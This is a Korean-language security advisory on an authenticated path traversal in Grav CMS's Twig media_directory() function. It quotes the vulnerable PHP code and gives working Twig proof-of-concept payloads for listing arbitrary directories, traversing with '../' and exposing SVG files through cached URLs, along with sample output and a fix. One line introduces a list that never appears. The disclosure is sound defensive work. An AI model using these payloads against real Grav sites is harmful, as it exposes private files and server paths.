
Grav CMS의 Twig media_directory() 함수에서 인증된 경로 탐색 취약점을 상세히 설명하는 기술 자문으로, 임의 디렉터리 열거 및 파일시스템 경로 노출을 가능하게 합니다.
media_directory()를 통한 임의 디렉터리 정보 노출이름: CYBER-SEC
연락처: [email protected]
Grav의 Twig 함수 media_directory()는 페이지 콘텐츠 Twig 샌드박스 허용 목록에 노출되어 있지만, 비스트림 입력에 대한 경로 포함 제한을 제대로 적용하지 않습니다.
페이지 편집 권한이 있는 인증된 사용자는 Twig가 활성화된 페이지 콘텐츠 내에서 media_directory('/absolute/path')를 호출하거나 media_directory('../../../../path')와 같은 상대 경로 탐색을 사용할 수 있습니다. 그러면 Grav는 웹 서버 사용자가 읽을 수 있는 디렉터리에서 미디어 유형 파일을 인덱싱합니다.
반환된 Medium 객체는 filepath 및 filename과 같은 샌드박스 허용 속성을 노출하여 임의 디렉터리 열거 및 절대 파일 시스템 경로 노출을 초래합니다. 이미지/SVG 파일의 경우 URL 또는 캐시 생성으로 인해 Grav의 공개 캐시 처리를 통해 파일이 노출될 수 있습니다.
이는 인증된 정보 노출 취약점입니다. 인증되지 않은 악용이나 직접적인 원격 코드 실행은 가능하지 않은 것으로 알려져 있습니다.
제품: Grav 플랫 파일 CMS
저장소: https://github.com/getgrav/grav
검증된 영향을 받는 버전: 2.0.3, 2.0.4, 2.0.6
구성 요소: Twig media_directory() / Grav 페이지 콘텐츠 Twig 샌드박스
벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
기본 점수: 6.5 중간
취약한 지점은 다음 위치에 있습니다:
system/src/Grav/Common/Twig/Extension/GravExtension.php
관련 로직:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
stream:// 입력만 Grav의 로케이터를 통해 해석됩니다. 비스트림 절대 경로 또는 상대 경로는 정규화된 realpath() 검증, 탐색 거부, 또는 승인된 Grav 제어 디렉터리로의 포함 제한 없이 그대로 new Media($media_dir)에 전달됩니다.
이 함수는 페이지 콘텐츠 Twig 샌드박스 허용 목록을 통해 노출됩니다:
system/config/security.yaml
allowed_functions:
- media_directory
샌드박스는 또한 다음과 같은 Medium 메서드/속성을 허용합니다:
filepath
filename
url
cache
resize
이로 인해 인증된 페이지 편집자가 임의의 읽기 가능한 디렉터리에서 파일 이름과 절대 경로를 노출할 수 있습니다. 이미지/SVG 파일의 경우 공개 URL/캐시 생성을 통해 파일 콘텐츠가 노출될 수 있습니다.
Twig 콘텐츠 처리가 활성화된 상태에서 Grav 페이지를 생성하거나 편집하고 다음을 삽입합니다:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
탐색 형식:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
이미지/SVG 노출 예시:
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}
페이지가 저장되고 렌더링되면 Grav은 공격자가 제어하는 경로에서 파일을 인덱싱하고 파일 이름과 절대 파일 시스템 경로를 노출합니다.
linuxserver/grav:latest Docker 이미지를 사용하여 Grav 2.0.6에 대해 검증되었습니다.
관찰된 결과는 다음과 같습니다:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
상대 경로 탐색도 확인되었습니다:
../../../../app/www/public
.url을 통한 SVG 파일 노출도 통제된 로컬 테스트 환경에서 확인되었습니다.
인증된 페이지 편집자는 다음을 수행할 수 있습니다:
이 취약점은 정보 노출 등급이며 원격 코드 실행으로 보고되어서는 안 됩니다.
권장 수정 사항:
media_directory를 제거합니다.또는:
media_directory()에 엄격한 정규 경로 포함 제한을 적용합니다:realpath()를 사용하여 모든 경로를 해석합니다.user://pages, user://images 또는 명시적으로 승인된 기타 미디어 디렉터리와 같은 안전한 루트만 허용합니다.이 문제는 CYBER-SEC에 의해 보고되었습니다.